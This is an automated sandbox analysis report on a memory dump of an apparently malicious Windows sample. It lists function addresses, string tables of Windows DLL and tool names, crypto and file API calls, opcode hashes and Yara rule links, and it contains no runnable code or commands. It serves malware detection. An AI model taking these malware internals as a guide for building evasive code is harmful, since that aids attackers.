0x008823ba
0x008823ba
0x008823cc
0x008823d1
0x008823e5
0x008823ea
0x008823fe
0x00882403
0x00882417
0x0088241c
0x00882430
0x00882435
0x00882449
0x0088244e
0x00882454
0x00882467
0x0088246c
0x00882480
0x00882485
0x00882499
0x008824af
0x008824bd
0x008824c8
0x008824d3
0x008824de
0x008824f4
0x008824ff
0x008824ff
0x008821d1
0x008821da
0x008821dc
0x008821e4
0x008821ee
0x008821f9
0x00882202
0x0088220b
0x00882216
0x00882216
0x00882220
0x00882233
0x00882295
0x008822a2
0x008822ad
0x008822b8
0x008822c3
0x008822d6
0x00882235
0x00882246
0x00882251
0x0088225c
0x0088226f
0x0088227a
0x00882285
0x00882285
0x00882233
0x0088250d
0x00882545
0x00882550
0x0088255d
0x0088250f
0x00882515
0x00882520
0x0088252b
0x00882538
0x00882538
0x00882568
0x00882573
0x0088257e
0x00882589
0x00882591
0x00882598
0x008825a2
0x008825a2
0x008825a5
0x008825aa
0x008825ae
0x008825b2
0x008825bb
0x00883c3f
0x00883c45
0x00883c50
0x00883c53
0x00883c5b
0x00883c61
0x00883c6a
0x00883c73
0x00883c7a
0x00883c7d
0x00883c80
0x00883c8d
0x00883c98
0x00883ca3
0x00883cac
0x00883cb5
0x00883cb8
0x00883d20
0x00883cba
0x00883cc2
0x00883cc5
0x00883cd8
0x00883ce3
0x00883cee
0x00883cf9
0x00883d04
0x00883d11
0x00883d11
0x00883cc5
0x00883d27
0x00883d28
0x00883d2d
0x00883d30
0x00883d33
0x00883d3a
0x00883d48
0x00883d4a
0x00883d4c
0x00883d4c
0x00883d4c
0x00883d4c
0x00883d53
0x00883d5a
0x00883d68
0x00883d6a
0x00883d6c
0x00883d6c
0x00883d6c
0x00883d6c
0x00883d73
0x00883d7a
0x00883d88
0x00883d8a
0x00883d8c
0x00883d8c
0x00883d8c
0x00883d8c
0x00883d93
0x00883d9a
0x00883da8
0x00883daa
0x00883dac
0x00883dac
0x00883dac
0x00883dac
0x00883dc4
0x00883dc9
0x00883de0
0x00883de5
0x00883dfc
0x00883e01
0x00883e18
0x00883e1d
0x00883e2e
0x00883e33
0x00883e41
0x00883e46
0x00883e54
0x00883e59
0x00883e5f
0x00883e6f
0x00883e74
0x00883e7b
0x00883e89
0x00883e8b
0x00883e8d
0x00883e8d
0x00883e8d
0x00883e8d
0x00883e94
0x00883e9b
0x00883ea9
0x00883eab
0x00883ead
0x00883ead
0x00883ead
0x00883ead
0x00883eb4
0x00883ebb
0x00883ec9
0x00883ecb
0x00883ecd
0x00883ecd
0x00883ecd
0x00883ecd
0x00883ed4
0x00883eeb
0x00883ef0
0x00883f07
0x00883f0c
0x00883f23
0x00883f39
0x00883f47
0x00883f4c
0x00883f4e
0x00883f51
0x00883f54
0x00883f64
0x008825c1
0x008825c3
0x008825ca
0x008825cc
0x008825d7
0x008825dd
0x008825e8
0x008825eb
0x008825f1
0x008825fb
0x00882608
0x0088260b
0x00882615
0x0088261b
0x0088262e
0x00882630
0x00882633
0x00882639
0x0088263c
0x00882646
0x0088264b
0x00882656
0x0088265b
0x00882666
0x0088266b
0x00882676
0x00882682
0x00882687
0x0088268a
0x0088268a
0x0088261d
0x0088261d
0x00882627
0x00882627
0x00882690
0x0088269b
0x008826a1
0x008826b2
0x008826b4
0x008826b9
0x008826c1
0x008826d8
0x008826a3
0x008826a3
0x008826ab
0x008826ab
0x008826dd
0x008826e5
0x008826eb
0x008826f6
0x0088270e
0x00882716
0x00000000
0x0088271c
0x0088271e
0x0088271f
0x00882724
0x00882727
0x00882730
0x00882737
0x0088273a
0x00882740
0x00882746
0x00882751
0x0088275a
0x0088275f
0x00882762
0x00882770
0x00882779
0x00882784
0x0088278d
0x0088279c
0x008827a5
0x008827aa
0x008827ad
0x008827b3
0x008827c7
0x008827cc
0x008827cf
0x008827d7
0x008827de
0x008827e0
0x008827e3
0x008827e8
0x008827f3
0x008827f6
0x008827fe
0x00882801
0x00882806
0x00882819
0x00882832
0x0088283b
0x0088283b
0x00882840
0x0088284a
0x0088286e
0x0088287d
0x0088290b
0x0088290e
0x0088296c
0x00882977
0x00882980
0x0088298a
0x00882995
0x008829a0
0x008829ab
0x00882910
0x0088291e
0x00882931
0x0088293e
0x00882949
0x00882954
0x0088295f
0x0088295f
0x008829c1
0x008829c6
0x008829cb
0x008829ce
0x008829d2
0x008829d7
0x008829d7
0x008829dc
0x008829dc
0x008829df
0x008829e3
0x00882a3c
0x00882a47
0x00882a52
0x00882a5d
0x00882a68
0x00882a73
0x008829e5
0x008829eb
0x00882a01
0x00882a0c
0x00882a19
0x00882a24
0x00882a2f
0x00882a2f
0x00882a7c
0x00882a86
0x00882883
0x0088288b
0x00882890
0x00882897
0x00882899
0x008828a4
0x008828ad
0x008828b6
0x008828c1
0x008828cc
0x008828df
0x008828e4
0x008828fb
0x008828fb
0x00882a91
0x00882aa7
0x00882abd
0x00882aca
0x00882ad7
0x00882ae4
0x00882af1
0x00882af4
0x00882afc
0x00882b02
0x00882b03
0x00882b08
0x00882b0c
0x00882b15
0x00882b22
0x00882b2d
0x00882b38
0x00882b3d
0x00882b4b
0x00882b53
0x00882b5c
0x00882b6a
0x00882b6f
0x00882b77
0x00882b84
0x00882b8a
0x00882b95
0x00882b98
0x00882ba0
0x00882ba0
0x00882b4b
0x00882ba5
0x00882bb0
0x00882bbb
0x00882bc0
0x00882bcb
0x00882bd2
0x00882bd7
0x00882be3
0x00882be8
0x00882bf0
0x00882bf3
0x00882bfa
0x00882c04
0x00882c06
0x00882c06
0x00882c0a
0x00882c11
0x00882c1b
0x00882c1d
0x00882c1d
0x00882c21
0x00882c28
0x00882c32
0x00882c34
0x00882c34
0x00882c38
0x00882c3f
0x00882c49
0x00882c4b
0x00882c4b
0x00882c4b
0x00882c4b
0x00882c5d
0x00882c62
0x00882c7b
0x00882c80
0x00882c99
0x00882c9e
0x00882cb7
0x00882cbc
0x00882cd5
0x00882cda
0x00882cf3
0x00882cf8
0x00882cfe
0x00882d11
0x00882d16
0x00882d2f
0x00882d34
0x00882d4d
0x00882d52
0x00882d6b
0x00882d70
0x00882d89
0x00882d8e
0x00882da7
0x00882dac
0x00882dc5
0x00882dca
0x00882de3
0x00882de8
0x00882e01
0x00882e06
0x00882e1f
0x00882e24
0x00882e38
0x00882e3d
0x00882e56
0x00882e5b
0x00882e74
0x00882e79
0x00882e92
0x00882e97
0x00882eb0
0x00882eb5
0x00882ece
0x00882ed3
0x00882eec
0x00882ef1
0x00882f0a
0x00882f0f
0x00882f15
0x00882f28
0x00882f2d
0x00882f46
0x00882f4b
0x00882f64
0x00882f69
0x00882f82
0x00882f87
0x00882fa0
0x00882fa5
0x00882fbe
0x00882fc3
0x00882fdc
0x00882fe1
0x00882fe7
0x00882fff
0x00883004
0x0088301d
0x00883022
0x0088303b
0x00883051
0x0088305f
0x00883066
0x00883071
0x00883078
0x0088307b
0x00883083
0x00883086
0x00883089
0x0088308f
0x00883094
0x0088309f
0x0088309f
0x008830a6
0x008830a9
0x008830ac
0x008830b3
0x008830b6
0x008830c4
0x008830d0
0x008830da
0x008830e3
0x008830ec
0x008830f1
0x008830f7
0x008830ff
0x00883102
0x00883111
0x00883116
0x0088311c
0x00883124
0x00883127
0x00883138
0x00883149
0x0088314e
0x00883154
0x0088315c
0x0088315f
0x00883170
0x00883181
0x00883186
0x0088318c
0x00883194
0x00883197
0x008831a8
0x008831b9
0x008831be
0x008831c4
0x008831cc
0x008831cf
0x008831e0
0x008831f1
0x008831f6
0x008831fc
0x00883204
0x00883207
0x00883218
0x00883229
0x0088323b
0x0088324c
0x00883251
0x00883257
0x0088325f
0x00883262
0x00883273
0x00883284
0x00883289
0x0088328f
0x00883297
0x0088329a
0x008832ab
0x008832bc
0x008832c1
0x008832c7
0x008832cf
0x008832d2
0x008832e3
0x008832f1
0x008832fc
0x008832fc
0x00883309
0x0088331f
0x0088332a
0x0088332f
0x00883332
0x0088334d
0x0088335b
0x00883363
0x0088336e
0x00883381
0x0088338c
0x00883399
0x008833a4
0x008833a4
0x008833b4
0x008833c6
0x008833d0
0x008833d5
0x00883429
0x00883436
0x00883441
0x0088344c
0x00883455
0x0088345f
0x0088346a
0x008833d7
0x008833e5
0x008833f0
0x008833fb
0x00883406
0x00883411
0x0088341c
0x0088341c
0x008833b6
0x008833bc
0x008833bc
0x00883475
0x00883480
0x00883489
0x00883495
0x0088349b
0x008834a6
0x008834af
0x008834b4
0x008834b9
0x008834c0
0x008834c6
0x008834ca
0x008834ce
0x008834d7
0x008834e1
0x008834f4
0x008834f8
0x008834fb
0x00883501
0x0088350a
0x00883510
0x0088351b
0x0088351e
0x00883528
0x0088352d
0x00883535
0x00883544
0x00883549
0x00883554
0x00883559
0x0088355c
0x008834fb
0x00883562
0x00883565
0x0088356c
0x00883574
0x00883576
0x00883576
0x00883580
0x00883582
0x00883587
0x0088358d
0x00000000
0x0088358d
0x00883592
0x00883592
0x00882716
0x008825bb
0x008821a8

Strings

OleCreateFromDataEx, xrefs: 008821C1
oleacchooks.dll, xrefs: 0088229D
RtlQuerySecurityObject, xrefs: 00882AD2
SensorsApi.dll, xrefs: 00882533
, xrefs: 00881A17
, xrefs: 00883D4C
, xrefs: 00881D62
, xrefs: 008819D2
, xrefs: 00882319
, xrefs: 00881A00
, xrefs: 00883D6C
, xrefs: 00882C1D
mssitlb.dll, xrefs: 00883431
, xrefs: 00882C34
FXSCOVER.exe, xrefs: 00883D1B
, xrefs: 00882302
NlsData0047.dll, xrefs: 00882558
, xrefs: 00882C06
ttt, xrefs: 00882383, 0088245F, 0088238C
, xrefs: 008819BB
, xrefs: 00883D8C
, xrefs: 00882347
, xrefs: 00883EE0
, xrefs: 00883E8D
CustomMarshalers.dll, xrefs: 00884F12
Api-ms-win-downlevel-advapi32-l1-1-1.dll, xrefs: 00882226
, xrefs: 00883DAC
igd10umd32.dll, xrefs: 008834E7
, xrefs: 00883EAD
RtlUnicodeStringToOemSize, xrefs: 00883D0C
, xrefs: 00882C4B
mswmdm.dll, xrefs: 00883394
, xrefs: 00883ECD
, xrefs: 00881A2E
, xrefs: 00882330
RtlDelete, xrefs: 0088204B
MmcAspExt.dll, xrefs: 00883304
, xrefs: 008823A3
Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll, xrefs: 00882B33
, xrefs: 008823BA
, xrefs: 00881D4B
VarCyMulI8, xrefs: 00882939
KBDBGPH.DLL, xrefs: 00882A14
DevicePairingHandler.dll, xrefs: 008833CB
System.Configuration.Install.ni.dll, xrefs: 00881F55
, xrefs: 008819E9
., xrefs: 008829DF
System.IO.dll, xrefs: 00881D0D
RegGetKeySecurity, xrefs: 00882AC5
,`_L, xrefs: 0088265B
spwmp.dll, xrefs: 00882B1D

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $,`_L$.$Api-ms-win-downlevel-advapi32-l1-1-1.dll$CustomMarshalers.dll$DevicePairingHandler.dll$FXSCOVER.exe$KBDBGPH.DLL$Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll$MmcAspExt.dll$NlsData0047.dll$OleCreateFromDataEx$RegGetKeySecurity$RtlDelete$RtlQuerySecurityObject$RtlUnicodeStringToOemSize$SensorsApi.dll$System.Configuration.Install.ni.dll$System.IO.dll$VarCyMulI8$igd10umd32.dll$mssitlb.dll$mswmdm.dll$oleacchooks.dll$spwmp.dll$ttt
API String ID: 0-3012302763
Opcode ID: 837c685f78292b0f1606fd949dab1544831e29e3e3fc60c96b0bd03d4c7ad5a8
Instruction ID: 0ae2afd8c63baf23de251440c667564a859947553ed072fb774a3222ecfdf207
Opcode Fuzzy Hash: 837c685f78292b0f1606fd949dab1544831e29e3e3fc60c96b0bd03d4c7ad5a8
Instruction Fuzzy Hash: 2A23153490425D8FDB10EFA4D881BDDBBB5FF0A308F1040AAE444B77A2D639AA55CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00897244 Relevance: 66.4, Strings: 50, Instructions: 3903COMMON

Download Yara Rule

Strings

api-ms-win-core-interlocked-l1-1-0.dll, xrefs: 0089876A
, xrefs: 00898FDE
, xrefs: 008990F4
,, xrefs: 008986DA
bcdedit.exe, xrefs: 00898E0A
RtlEqualLuid, xrefs: 00897A7B
api-ms-win-core-profile-l1-1-0.dll, xrefs: 00897C02
KBDUSR.DLL, xrefs: 008976E4
esscli.dll, xrefs: 008980BB
SfmDxSetSwapChainBindingStatus, xrefs: 0089B2CF
mstask.dll, xrefs: 00898745
IPBusEnumProxy.dll, xrefs: 008999CA
PresentationCore.dll, xrefs: 008976F1
, xrefs: 00898F99
BrEvIF.dll, xrefs: 008999FE
GetOverlappedAccessResults, xrefs: 0089B0DE
, xrefs: 00898FB0
, xrefs: 00899122
, xrefs: 00898FF5
KBDLT.DLL, xrefs: 00897BF5
NetSetPrimaryComputerName, xrefs: 0089A369
, xrefs: 00897D0A
, xrefs: 00898A94
sdclt.exe, xrefs: 0089A376
StgOpenStorageOnILockBytes, xrefs: 00898A55
mciseq.dll, xrefs: 0089B3B5
GetClassFile, xrefs: 008980C8
, xrefs: 0089910B
, xrefs: 0089900C
NAPSTAT.EXE, xrefs: 00898F58
CNHL610.DLL, xrefs: 00898ED3
$, xrefs: 0089B02A
, xrefs: 00897CAE
, xrefs: 00898A7D
^, xrefs: 00897C43
, xrefs: 00897C97
vmictimeprovider.dll, xrefs: 00899E93
MigSetup.exe, xrefs: 0089AAA0
dmdskmgr.dll, xrefs: 0089B17C
, xrefs: 00898AAB
netshell.dll, xrefs: 0089945C
,`_L, xrefs: 0089731A, 00897348, 008979C7, 00898D34, 00899421, 00899629, 00899ACD, 00899E8B
, xrefs: 00897CDC
, xrefs: 00898FC7
ElfReportEventAndSourceW, xrefs: 00898752
NetDfsRemove, xrefs: 00898F4B
api-ms-win-core-processenvironment-l1-1-0.dll, xrefs: 00897ACA
, xrefs: 00897CF3
s, xrefs: 008974FF
, xrefs: 00897CC5

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $$$,$,`_L$BrEvIF.dll$CNHL610.DLL$ElfReportEventAndSourceW$GetClassFile$GetOverlappedAccessResults$IPBusEnumProxy.dll$KBDLT.DLL$KBDUSR.DLL$MigSetup.exe$NAPSTAT.EXE$NetDfsRemove$NetSetPrimaryComputerName$PresentationCore.dll$RtlEqualLuid$SfmDxSetSwapChainBindingStatus$StgOpenStorageOnILockBytes$^$api-ms-win-core-interlocked-l1-1-0.dll$api-ms-win-core-processenvironment-l1-1-0.dll$api-ms-win-core-profile-l1-1-0.dll$bcdedit.exe$dmdskmgr.dll$esscli.dll$mciseq.dll$mstask.dll$netshell.dll$s$sdclt.exe$vmictimeprovider.dll
API String ID: 0-3570173003
Opcode ID: 765d7ee5cd3482c3e572a7b0b00ebe5888e4cb3d417b3a14dceebf025310320a
Instruction ID: d5705780c892bafa6df46128ae735e4f56b141e536515f108fab6bc7d1f2bfca
Opcode Fuzzy Hash: 765d7ee5cd3482c3e572a7b0b00ebe5888e4cb3d417b3a14dceebf025310320a
Instruction Fuzzy Hash: E8933B3490826ACFDB00DF68E981ADDBBF5FB4A304F1040A6D448B7B61D734AA55CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00885B34 Relevance: 64.6, APIs: 1, Strings: 35, Instructions: 1564
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CryptGetDefaultProviderA, xrefs: 0088897D
sspisrv.dll, xrefs: 008892C5
, xrefs: 00889BE4
api-ms-win-core-namedpipe-l1-1-0.dll, xrefs: 00888F8A
Microsoft.Windows.Diagnosis.SDuser.ni.dll, xrefs: 00889322
CreateEventExA, xrefs: 00889006
EventWrite, xrefs: 00889448
IMJPAPI.DLL, xrefs: 00889029
, xrefs: 00889D77
MPG4DECD.DLL, xrefs: 008889AA
GetInformationCodeAuthzLevelW, xrefs: 00888F70
wow64win.dll, xrefs: 00888F04
System.Data.DataSetExtensions.dll, xrefs: 008892D2
VarI4FromR8, xrefs: 0088880D
CNB_0279.DLL, xrefs: 00888AD6
RtlGetFullPathName_U, xrefs: 0088933F
GetUserObjectInformationA, xrefs: 00888E5F
, xrefs: 00889101
mimefilt.dll, xrefs: 00888C8E
api-ms-win-core-threadpool-l1-1-0.dll, xrefs: 00888D31
System.Runtime.Serialization.Xml.dll, xrefs: 0088941D
, xrefs: 008890EA
AuthFWWizFwk.dll, xrefs: 00888F7D
srcore.dll, xrefs: 00888FEC
,`_L, xrefs: 008887B3, 00889415, 00889555, 008899CF
NlsLexicons0007.dll, xrefs: 00889AAC
, xrefs: 00889BC7
oledb32r.dll, xrefs: 0088930A
WcsPlugInService.dll, xrefs: 00889AFC
WMPEncEn.dll, xrefs: 00889AE4
hpzprw71.dll, xrefs: 00888FF9
api-ms-win-core-processthreads-l1-1-0.dll, xrefs: 00888D87
w3ctrs.dll, xrefs: 008888FD
, xrefs: 00889BB0
imkrhjd.dll, xrefs: 00889ACC

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $,`_L$AuthFWWizFwk.dll$CNB_0279.DLL$CreateEventExA$CryptGetDefaultProviderA$EventWrite$GetInformationCodeAuthzLevelW$GetUserObjectInformationA$IMJPAPI.DLL$MPG4DECD.DLL$Microsoft.Windows.Diagnosis.SDuser.ni.dll$NlsLexicons0007.dll$RtlGetFullPathName_U$System.Data.DataSetExtensions.dll$System.Runtime.Serialization.Xml.dll$VarI4FromR8$WMPEncEn.dll$WcsPlugInService.dll$api-ms-win-core-namedpipe-l1-1-0.dll$api-ms-win-core-processthreads-l1-1-0.dll$api-ms-win-core-threadpool-l1-1-0.dll$hpzprw71.dll$imkrhjd.dll$mimefilt.dll$oledb32r.dll$srcore.dll$sspisrv.dll$w3ctrs.dll$wow64win.dll
API String ID: 0-2497120837
Opcode ID: bd6f776698bf5ebe3350416b0fe2377eecb546d571adda2870142f05ecf6b7a2
Instruction ID: ed27780ebbea777809120fd9b064ea54145ce40deeb132efdad1df661e81c355
Opcode Fuzzy Hash: bd6f776698bf5ebe3350416b0fe2377eecb546d571adda2870142f05ecf6b7a2
Instruction Fuzzy Hash: 28F2F635908219CFDB04EFA8E981ACDB7F9FB49304F2040AAE444B76A1D735AE45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00878884 Relevance: 63.5, APIs: 7, Strings: 28, Instructions: 2271encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,?,008A9A44,00000000,0087AFBF,?,?,?,?,?,00000000), ref: 00878AFB
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000,?,00000000,0087AD62,?,?,?,?,?,?,00000000,0087B0A4), ref: 00878B94
CryptHashData.ADVAPI32(00000000,008A4525,00000000,00000000,299E4F10,?,00000000,0087A507,?,?,?,?,?,?,?,00000000), ref: 00878EE3
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,0000000C,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00879370
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,008A4525), ref: 00879732

Strings

MSTTSuser.dll, xrefs: 0087AC7D
, xrefs: 00878F72
System.Diagnostics.TextWriterTraceListener.dll, xrefs: 00878D4F
NlsData004e.dll, xrefs: 00878F13
System.Speech.ni.dll, xrefs: 00878B79
, xrefs: 00879C3A
api-ms-win-core-fibers-l1-1-0.dll, xrefs: 0087897A
, xrefs: 00879953
, xrefs: 00879E33
, xrefs: 00879C23
, xrefs: 00878FA0
, xrefs: 00878FB7
, xrefs: 0087983F
, xrefs: 00878FCE
wcsstr, xrefs: 0087ACE7
dpnlobby.dll, xrefs: 00879E97
I, xrefs: 00879346
wkscli.dll, xrefs: 00878A23
, xrefs: 0087993C
, xrefs: 0087996A
, xrefs: 00878F89
, xrefs: 008798A8
, xrefs: 00879228
OleInitializeWOW, xrefs: 0087AC24
, xrefs: 00879828
, xrefs: 00879BF5
, xrefs: 00879C0C
QuerySendMessage, xrefs: 00878D08

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Crypt$Hash$Param$AcquireContextCreateData
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $I$MSTTSuser.dll$NlsData004e.dll$OleInitializeWOW$QuerySendMessage$System.Diagnostics.TextWriterTraceListener.dll$System.Speech.ni.dll$api-ms-win-core-fibers-l1-1-0.dll$dpnlobby.dll$wcsstr$wkscli.dll
API String ID: 2428702908-381973374
Opcode ID: 4aa3557ba7c9669ed2d383384b856f4c218db0c9a910a5b0a0425b3726d68a2c
Instruction ID: cf61213450a772018895127d1e37cd81cfaede83b8eb6fc4599cb68f8fb24d5b
Opcode Fuzzy Hash: 4aa3557ba7c9669ed2d383384b856f4c218db0c9a910a5b0a0425b3726d68a2c
Instruction Fuzzy Hash: 90334034909259CFEB00DF68EC81BCDBBB5FB4A304F1080A6D488A7B61D735AA56CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0087885C Relevance: 45.0, APIs: 6, Strings: 19, Instructions: 1298encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,?,008A9A44,00000000,0087AFBF,?,?,?,?,?,00000000), ref: 00878AFB

Strings

I, xrefs: 00879346
, xrefs: 00878F72
System.Diagnostics.TextWriterTraceListener.dll, xrefs: 00878D4F
wkscli.dll, xrefs: 00878A23
NlsData004e.dll, xrefs: 00878F13
System.Speech.ni.dll, xrefs: 00878B79
, xrefs: 00879C3A
api-ms-win-core-fibers-l1-1-0.dll, xrefs: 0087897A
, xrefs: 00878F89
, xrefs: 00879E33
, xrefs: 00879C23
, xrefs: 00879228
, xrefs: 00878FA0
, xrefs: 00878FB7
, xrefs: 00879BF5
, xrefs: 00879C0C
, xrefs: 00878FCE
dpnlobby.dll, xrefs: 00879E97
QuerySendMessage, xrefs: 00878D08

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: AcquireContextCrypt
String ID: $ $ $ $ $ $ $ $ $ $ $I$NlsData004e.dll$QuerySendMessage$System.Diagnostics.TextWriterTraceListener.dll$System.Speech.ni.dll$api-ms-win-core-fibers-l1-1-0.dll$dpnlobby.dll$wkscli.dll
API String ID: 3951991833-648863503
Opcode ID: cb655dd901a2edca7c057b9806bcc2dc5e851f49d6a569c3868c3ae72fad8629
Instruction ID: 1badded1f196fce5c145a215bd205b4eb7a22d0e2d7c4048eae815bd25d821b8
Opcode Fuzzy Hash: cb655dd901a2edca7c057b9806bcc2dc5e851f49d6a569c3868c3ae72fad8629
Instruction Fuzzy Hash: F5D23D34909269CFEB00DF68E881BDDBBB5FB0A314F1080A6E489E7B61D734A945CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040D588 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,0040D648,?,?), ref: 0040D5BA
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,0040D648,?,?), ref: 0040D5C3

Part of subcall function 0040D450: FindFirstFileW.KERNEL32(00000000,?,00000000,0040D4AE,?,00000001), ref: 0040D483
Part of subcall function 0040D450: FindClose.KERNEL32(00000000,00000000,?,00000000,0040D4AE,?,00000001), ref: 0040D493

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: c883772947d83777b864ba3430caf66e322057a584b7fefcdaed39e92a4a314e
Instruction ID: 25030a7f6e56920aab91c9f9ef49b25f0e59bcaefeffaeca5518035f8508ca9f
Opcode Fuzzy Hash: c883772947d83777b864ba3430caf66e322057a584b7fefcdaed39e92a4a314e
Instruction Fuzzy Hash: 15118770E046099FDB00EF95C982AAEB7B5EF49304F50447EB505F73D2DB785E048659

Uniqueness

Uniqueness Score: -1.00%

Function 0040D450 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040D4AE,?,00000001), ref: 0040D483
FindClose.KERNEL32(00000000,00000000,?,00000000,0040D4AE,?,00000001), ref: 0040D493

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 7f3f629f4f65ece58cf40c0a0a45b63a812c2af1330b8aacf4586db4167fe9c0
Instruction ID: f2ddfbd44667415a75ad9902d530f29ac780b5eb62706bbca6fac38aac60a985
Opcode Fuzzy Hash: 7f3f629f4f65ece58cf40c0a0a45b63a812c2af1330b8aacf4586db4167fe9c0
Instruction Fuzzy Hash: EAF0E970940608AEC750FBB9CC1298EB3ECDB093147A14577F404F32D1E63C5E045518

Uniqueness

Uniqueness Score: -1.00%

Function 00871424 Relevance: 64.5, APIs: 2, Strings: 34, Instructions: 1507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetShortPathNameW.KERNELBASE(00000000,00000000,00000000), ref: 008716D5
GetShortPathNameW.KERNEL32(00000000,00000000,00000000), ref: 00871FE1

Strings

poqexec.exe, xrefs: 00872646
PresentationFramework.AeroLite.dll, xrefs: 0087166A
CsrClientCallServer, xrefs: 00871937
RtlWow64EnableFsRedirection, xrefs: 0087165D
System.ServiceModel.Internals.dll, xrefs: 008719A6
GetNamedPipeClientComputerNameW, xrefs: 0087228C
, xrefs: 00872685
SafeArrayAllocDescriptor, xrefs: 00871B78
mcplayer.dll, xrefs: 00871BEE
dtsh.dll, xrefs: 008728A0
XamlBuildTask.dll, xrefs: 0087192A
System.Web.Mobile.dll, xrefs: 0087218B
Microsoft.Windows.Diagnosis.SDHost.ni.dll, xrefs: 0087197F
7, xrefs: 00871C4E
EndPaint, xrefs: 008721A3
IMJPDADM.EXE, xrefs: 00872595
, xrefs: 008719E0
ieinstal.exe, xrefs: 0087198C
wups.dll, xrefs: 00871C08
wscapi.dll, xrefs: 00871DE0
msado15.dll, xrefs: 0087262E
SnippingTool.exe, xrefs: 00872AB4
vds.exe, xrefs: 00871BFB
